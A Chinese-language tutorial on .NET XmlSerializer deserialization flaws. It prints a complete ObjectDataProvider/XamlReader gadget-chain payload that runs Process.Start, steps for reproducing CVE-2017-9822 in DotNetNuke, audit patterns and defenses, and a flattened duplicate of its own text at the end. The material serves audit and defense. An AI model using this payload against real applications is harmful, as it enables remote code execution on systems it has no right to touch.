.NET高级代码审计之XmlSerializer反序列化漏洞
字数 1545 2025-08-18 11:38:08

.NET XmlSerializer反序列化漏洞深度分析与利用

一、XmlSerializer基础原理

XmlSerializer是.NET框架中System.Xml.Serialization命名空间下的重要类,用于实现XML数据与.NET对象之间的双向转换:

  • 序列化(Serialize):将对象实例转换为XML文档
  • 反序列化(Deserialize):将XML文档解析为对象图

关键特性

  • 只能序列化公共属性和公共字段
  • 支持通过特性控制序列化行为:
    • XmlElement:指定属性序列化为元素
    • XmlAttribute:指定属性序列化为特性
    • XmlRoot:指定类序列化为根元素

二、XmlSerializer反序列化漏洞原理

漏洞产生的核心在于Type.GetType方法的使用,攻击者可以控制传入的类型参数,从而实例化恶意类。

三种获取Type对象的方式

  1. typeof运算符
Type type = typeof(TestClass);
  1. object.GetType方法
TestClass obj = new TestClass();
Type type = obj.GetType();
  1. Type.GetType静态方法(漏洞关键点)
Type type = Type.GetType("Namespace.TestClass");

第三种方式允许通过字符串参数指定类型,成为反序列化漏洞的主要污染点。

三、攻击链构建

完整的攻击链需要结合多个.NET组件实现任意代码执行:

1. ObjectDataProvider类

位于System.Windows.Data命名空间,关键属性:

  • ObjectInstance:要调用的对象实例
  • MethodName:要调用的方法名
  • MethodParameters:方法参数集合

示例:

var odp = new ObjectDataProvider {
    ObjectInstance = new Process(),
    MethodName = "Start",
    MethodParameters = { "calc.exe" }
};

2. ResourceDictionary与XAML

WPF中用于共享静态资源的组件,结合XAML可实现恶意代码注入:

<ResourceDictionary xmlns:Runtime="clr-namespace:System.Diagnostics;assembly=System">
    <ObjectDataProvider x:Key="Malicious" 
        ObjectType="{x:Type Runtime:Process}"
        MethodName="Start">
        <ObjectDataProvider.MethodParameters>
            <System:String>calc.exe</System:String>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
</ResourceDictionary>

3. XamlReader类

位于System.Windows.Markup命名空间,用于解析XAML:

  • Load():从流中读取XAML
  • Parse():从字符串中读取XAML(更易利用)

四、完整攻击Payload

结合上述组件构建的完整攻击链:

<root type="System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35">
    <ObjectDataProvider.ObjectInstance>
        <ObjectDataProvider MethodName="Parse">
            <ObjectDataProvider.ObjectInstance>
                <System:String xmlns:System="clr-namespace:System;assembly=mscorlib">
                    <![CDATA[
                    <ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" 
                        xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" 
                        xmlns:System="clr-namespace:System;assembly=mscorlib" 
                        xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
                        <ObjectDataProvider x:Key="LaunchCalc" ObjectType="{x:Type Diag:Process}" MethodName="Start">
                            <ObjectDataProvider.MethodParameters>
                                <System:String>calc.exe</System:String>
                            </ObjectDataProvider.MethodParameters>
                        </ObjectDataProvider>
                    </ResourceDictionary>
                    ]]>
                </System:String>
            </ObjectDataProvider.ObjectInstance>
            <ObjectDataProvider.MethodName>Parse</ObjectDataProvider.MethodName>
        </ObjectDataProvider>
    </ObjectDataProvider.ObjectInstance>
    <ObjectDataProvider.MethodName>Start</ObjectDataProvider.MethodName>
</root>

五、漏洞利用条件

  1. 应用程序使用XmlSerializer进行反序列化
  2. 反序列化的类型通过Type.GetType动态获取
  3. 攻击者能够控制传入的XML数据或类型名称

六、代码审计要点

审计时应重点关注以下模式:

危险代码模式

// 危险点1:直接使用Type.GetType
Type type = Type.GetType(userControlledString);

// 危险点2:XmlSerializer构造时使用动态类型
XmlSerializer serializer = new XmlSerializer(Type.GetType(userControlledString));

// 危险点3:从XML中读取类型信息
XmlDocument doc = new XmlDocument();
doc.Load(xmlStream);
string typeName = doc.SelectSingleNode("//Item/@type").Value;
Type type = Type.GetType(typeName);
XmlSerializer serializer = new XmlSerializer(type);
serializer.Deserialize(xmlReader);

安全建议

  1. 避免使用Type.GetType动态获取类型
  2. 使用固定类型或白名单机制
  3. 对输入的XML数据进行严格验证

七、实际案例复现

以CVE-2017-9822(DotNetNuke漏洞)为例:

  1. 攻击者构造恶意XML文件并上传
  2. 应用程序使用XmlSerializer反序列化该文件
  3. 通过ObjectDataProvider调用Process.Start执行任意命令

复现步骤:

  1. 准备恶意XML文件(如上述Payload)
  2. 找到应用程序中接收XML输入的点
  3. 触发反序列化操作
  4. 观察计算器进程是否被启动

八、防御措施

  1. 输入验证:严格验证所有XML输入
  2. 类型限制:使用固定类型或类型白名单
  3. 安全配置
    • 禁用危险的类型解析
    • 使用更安全的序列化替代方案
  4. 代码审查:定期审计代码中的反序列化操作

九、扩展知识

  1. 其他相关漏洞

    • SoapFormatter反序列化漏洞
    • BinaryFormatter反序列化漏洞
    • JSON.NET反序列化漏洞
  2. 进阶利用技术

    • 利用ExpandedWrapper绕过类型限制
    • 结合Reflection实现更复杂的攻击
    • 内存攻击与ROP链构造
  3. .NET Core差异

    • .NET Core中部分类行为可能不同
    • 新的安全机制可能阻止某些攻击方式

通过深入理解这些原理和技术,安全研究人员可以更有效地发现和防御XmlSerializer反序列化漏洞。

.NET XmlSerializer反序列化漏洞深度分析与利用 一、XmlSerializer基础原理 XmlSerializer是.NET框架中System.Xml.Serialization命名空间下的重要类,用于实现XML数据与.NET对象之间的双向转换: 序列化(Serialize) :将对象实例转换为XML文档 反序列化(Deserialize) :将XML文档解析为对象图 关键特性 只能序列化公共属性和公共字段 支持通过特性控制序列化行为: XmlElement :指定属性序列化为元素 XmlAttribute :指定属性序列化为特性 XmlRoot :指定类序列化为根元素 二、XmlSerializer反序列化漏洞原理 漏洞产生的核心在于 Type.GetType 方法的使用,攻击者可以控制传入的类型参数,从而实例化恶意类。 三种获取Type对象的方式 typeof运算符 object.GetType方法 Type.GetType静态方法 (漏洞关键点) 第三种方式允许通过字符串参数指定类型,成为反序列化漏洞的主要污染点。 三、攻击链构建 完整的攻击链需要结合多个.NET组件实现任意代码执行: 1. ObjectDataProvider类 位于 System.Windows.Data 命名空间,关键属性: ObjectInstance :要调用的对象实例 MethodName :要调用的方法名 MethodParameters :方法参数集合 示例: 2. ResourceDictionary与XAML WPF中用于共享静态资源的组件,结合XAML可实现恶意代码注入: 3. XamlReader类 位于 System.Windows.Markup 命名空间,用于解析XAML: Load() :从流中读取XAML Parse() :从字符串中读取XAML(更易利用) 四、完整攻击Payload 结合上述组件构建的完整攻击链: 五、漏洞利用条件 应用程序使用 XmlSerializer 进行反序列化 反序列化的类型通过 Type.GetType 动态获取 攻击者能够控制传入的XML数据或类型名称 六、代码审计要点 审计时应重点关注以下模式: 危险代码模式 安全建议 避免使用 Type.GetType 动态获取类型 使用固定类型或白名单机制 对输入的XML数据进行严格验证 七、实际案例复现 以CVE-2017-9822(DotNetNuke漏洞)为例: 攻击者构造恶意XML文件并上传 应用程序使用 XmlSerializer 反序列化该文件 通过 ObjectDataProvider 调用 Process.Start 执行任意命令 复现步骤: 准备恶意XML文件(如上述Payload) 找到应用程序中接收XML输入的点 触发反序列化操作 观察计算器进程是否被启动 八、防御措施 输入验证 :严格验证所有XML输入 类型限制 :使用固定类型或类型白名单 安全配置 : 禁用危险的类型解析 使用更安全的序列化替代方案 代码审查 :定期审计代码中的反序列化操作 九、扩展知识 其他相关漏洞 : SoapFormatter反序列化漏洞 BinaryFormatter反序列化漏洞 JSON.NET反序列化漏洞 进阶利用技术 : 利用ExpandedWrapper绕过类型限制 结合Reflection实现更复杂的攻击 内存攻击与ROP链构造 .NET Core差异 : .NET Core中部分类行为可能不同 新的安全机制可能阻止某些攻击方式 通过深入理解这些原理和技术,安全研究人员可以更有效地发现和防御XmlSerializer反序列化漏洞。